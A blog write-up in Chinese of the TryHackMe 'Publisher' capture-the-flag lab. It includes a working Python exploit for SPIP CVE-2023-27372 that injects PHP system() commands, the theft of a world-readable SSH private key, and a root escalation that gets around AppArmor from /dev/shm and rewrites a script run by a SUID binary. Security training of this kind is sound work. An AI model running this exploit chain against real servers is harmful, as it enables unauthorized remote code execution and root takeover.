> ## Content Index
> Fetch the complete content index at: https://taiwanding.com/llms.txt
> Use this file to discover other available public pages before exploring further.

# TryHackMe Publisher writeup (zh-TW)
- URL: https://taiwanding.com/tryhackme-publisher-wwriteup-zh-tw/
- Published: 2025-10-16T13:33:32.000Z
- Updated: 2026-07-15T02:50:00.000Z
- Author: Kevin Chen
- Tags: tryhackme, web, #CVE-2023-27372

## 題目資訊

- **平台**: TryHackMe
- **房間名稱**: Publisher
- **難度**: Easy
- **目標**: 獲取 User Flag 和 Root Flag
- **連結**: [https://tryhackme.com/room/publisher](https://tryhackme.com/room/publisher?ref=taiwanding.com)

## 偵察階段

### Nmap 掃描

```bash
nmap -Pn -sV -sC 10.201.75.156 -p-

```

**掃描結果**：

```
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 8.2p1 Ubuntu
80/tcp open  http    Apache/2.4.41 (Ubuntu)

```

### Web 偵察

訪問 http://10.201.75.156 發現 SPIP CMS：

```bash
curl -I http://10.201.75.156/spip/spip.php

```

**關鍵發現**：  
在 [http://10.201.75.156/spip/config/](http://10.201.75.156/spip/config/?ref=taiwanding.com)，發現版本，可查詢對應是否有漏洞!

```
Composed-By: SPIP 4.2.0 @ www.spip.net

```

### Step 1: 初始訪問 - SPIP CVE-2023-27372 RCE

漏洞資訊

- **CVE**: CVE-2023-27372
- **影響版本**: SPIP < 4.2.1
- **漏洞類型**: PHP 反序列化導致的遠程代碼執行
- **利用向量**: `/spip.php?page=spip_pass` 的 `oubli` 參數

漏洞分析  
SPIP 在密碼重置功能中使用了危險的 `#ENV**` 標籤，且 `protege_champ()` 函數的正則表達式存在缺陷，允許注入序列化的 PHP 代碼。

### Exploit 腳本

下載公開 exploit：

```bash
wget https://raw.githubusercontent.com/nuts7/CVE-2023-27372/master/CVE-2023-27372.py -O 51536.py

```

**問題**：原始腳本有 urllib3 兼容性問題。

**修復方法**：

```bash
sed -i '63s/^/# /' 51536.py

```

**第二個問題**：原始腳本只注入 payload 但無法看到輸出。

### 改進的 Exploit 腳本

創建 `exploit.py`：

```python
#!/usr/bin/env python3
import requests
import bs4
import sys

def get_csrf(url):
    r = requests.get(f'{url}/spip.php?page=spip_pass')
    soup = bs4.BeautifulSoup(r.text, 'html.parser')
    csrf_input = soup.find('input', {'name': 'formulaire_action_args'})
    return csrf_input['value'] if csrf_input else None

def exploit(url, cmd):
    csrf = get_csrf(url)
    if not csrf:
        print("[-] Failed to get CSRF token")
        return
    
    print(f"[+] CSRF: {csrf[:30]}...")
    
    # 正確計算長度！
    php_code = f'<?php system("{cmd}"); ?>'
    payload = f's:{len(php_code)}:"{php_code}";'
    
    print(f"[*] Command: {cmd}")
    print(f"[*] PHP code: {php_code}")
    print(f"[*] PHP code length: {len(php_code)}")
    print(f"[*] Payload: {payload}")
    
    data = {
        "page": "spip_pass",
        "formulaire_action": "oubli",
        "formulaire_action_args": csrf,
        "oubli": payload
    }
    
    r = requests.post(f'{url}/spip.php?page=spip_pass', data=data)
    
    print(f"\n[*] Status: {r.status_code}")
    
    # 查找命令輸出
    if 'erreur' not in r.text.lower():
        print("[+] No error detected!")
    
    # 顯示響應
    print("\n" + "="*60)
    print(r.text)
    print("="*60)

if __name__ == '__main__':
    if len(sys.argv) < 2:
        print("Usage: python3 spip_exploit.py 'command'")
        sys.exit(1)
    
    url = "http://10.201.75.156/spip"
    cmd = ' '.join(sys.argv[1:])
    exploit(url, cmd)
```

### 執行 Exploit

```bash
python3 exploit.py 'id'

```

**輸出結果**（在 HTML 的 value 屬性中）：

```html
value="s:22:"uid=33(www-data) gid=33(www-data) groups=33(www-data)
";"

```

✅ **成功獲得代碼執行！**

### Step 2: 橫向移動到 think 用戶

偵察系統

```bash
python3 exploit.py 'ls -la /home'
python3 exploit.py 'ls -la /home/think'

```

**發現**：

```
drwxr-xr-x 2 think think 4096 Jan 10  2024 .ssh
-rw-r--r-- 1 root  root    35 Feb 10  2024 user.txt

```

檢查 SSH 目錄

```bash
python3 exploit.py 'ls -la /home/think/.ssh/'

```

**關鍵發現**：

```
-rw-r--r-- 1 think think 2602 Jan 10  2024 id_rsa  ← 所有人可讀！

```

獲取 SSH 私鑰

```bash
python3 exploit.py 'cat /home/think/.ssh/id_rsa'

```

將輸出保存為 `think_id_rsa`：

```bash
chmod 600 think_id_rsa
ssh -i think_id_rsa think@10.201.75.156

```

✅ **成功登錄！**

### User Flag

```bash
think@ip-10-201-75-156:~$ cat user.txt
Redacted

```

### Step 3: 提權到 Root - AppArmor 繞過

初步偵察

```bash
# 檢查 SUID 文件
find / -perm -4000 2>/dev/null

# 檢查 sudo 權限
sudo -l  # 需要密碼

# 檢查內核版本
uname -a

```

**發現可疑的 SUID 文件**：

```
/usr/sbin/run_container  ← 自定義二進制文件！

```

分析 run\_container

```bash
/usr/sbin/run_container

```

**輸出**：

```
List of Docker containers:
ID: 41c976e507f8 | Name: jovial_hertz | Status: Up
Enter the ID of the container or leave blank to create a new one:

```

查看腳本內容：

```bash
cat /opt/run_container.sh

```

**關鍵發現**：

1. `/usr/sbin/run_container` 以 root 權限執行
2. 它調用 `/opt/run_container.sh` 腳本
3. `validate_container_id` 函數不存在（第 16 行錯誤）

提權思路  
如果我們能**修改** `/opt/run_container.sh`，就能以 root 權限執行任意命令！

**問題**：AppArmor 限制

```bash
echo 'chmod +s /bin/bash' > /opt/run_container.sh
# bash: /opt/run_container.sh: Permission denied

```

AppArmor 分析  
檢查當前 shell 的 AppArmor profile：

```bash
cat /proc/self/attr/current
# /usr/sbin/ash (complain)

cat /etc/apparmor.d/usr.sbin.ash

```

**關鍵限制**：

```
deny /opt/** w,      ← 無法寫入 /opt/
deny /tmp/** w,      ← 無法寫入 /tmp/
deny /home/** w,     ← 無法寫入 /home/

```

**但是**：沒有限制 `/dev/shm/`！

AppArmor 繞過技巧  
AppArmor 的限制是**針對進程**的，不是針對用戶！關鍵是創建一個**新進程**來繞過限制。

#### 步驟 1：在 /dev/shm 創建 Perl 腳本

```bash
cat > /dev/shm/test.pl << 'EOF'
#!/usr/bin/perl
use POSIX qw(strftime);
use POSIX qw(setuid);
POSIX::setuid(0);
exec "/bin/sh";
EOF

chmod +x /dev/shm/test.pl

```

#### 步驟 2：執行 Perl 腳本獲得新 shell

```bash
/dev/shm/test.pl

```

**注意提示符變化**：

```
think@ip-10-201-14-58:~$  ← 原始 shell（受 AppArmor 限制）
$                          ← 新 shell（不受限制！）

```

#### 步驟 3：在新 shell 中修改 run\_container.sh

```bash
$ echo '#!/bin/bash
/bin/bash -p' > /opt/run_container.sh

```

✅ **成功寫入！**（因為新 shell 沒有 AppArmor 限制）

#### 步驟 4：執行 SUID binary 觸發提權

```bash
$ /usr/sbin/run_container

```

**提權成功**：

```
bash-5.0#  ← Root shell！

```

### Root Flag

```bash
bash-5.0# cat /root/root.txt
Redacted

```

## 技術要點總結

### 1\. SPIP CVE-2023-27372 漏洞利用

- **輸出位置**：在 POST 響應的 HTML `value` 屬性中

### 2\. SSH 私鑰權限配置錯誤

- **問題**：`id_rsa` 文件設置為全局可讀（644）
- **正確權限**：應該是 600

### 3\. AppArmor 安全繞過

- **理解**：AppArmor 限制的是**進程**，不是用戶
- **繞過方法**：
  1. 找到可寫且可執行的目錄（`/dev/shm/`）
  2. 創建腳本啟動新進程
  3. 新進程不繼承 AppArmor 限制
  4. 在新進程中執行被限制的操作

### 4\. SUID 腳本利用

- **條件**：
  - SUID binary 調用外部腳本
  - 腳本路徑可被修改
- **利用**：修改腳本內容以 root 權限執行命令

## 經驗分享

這一題的提權，作者完全想不出來，最後跟AI討論發現了盲點，  
Claude AI: 你其實找到了所有關鍵線索

1. ✅ `/dev/shm/` 可寫
2. ✅ `/opt/run_container.sh` 是目標
3. ❌ 但沒意識到要用 `/dev/shm/test.pl` 創建**新進程**來繞過 AppArmor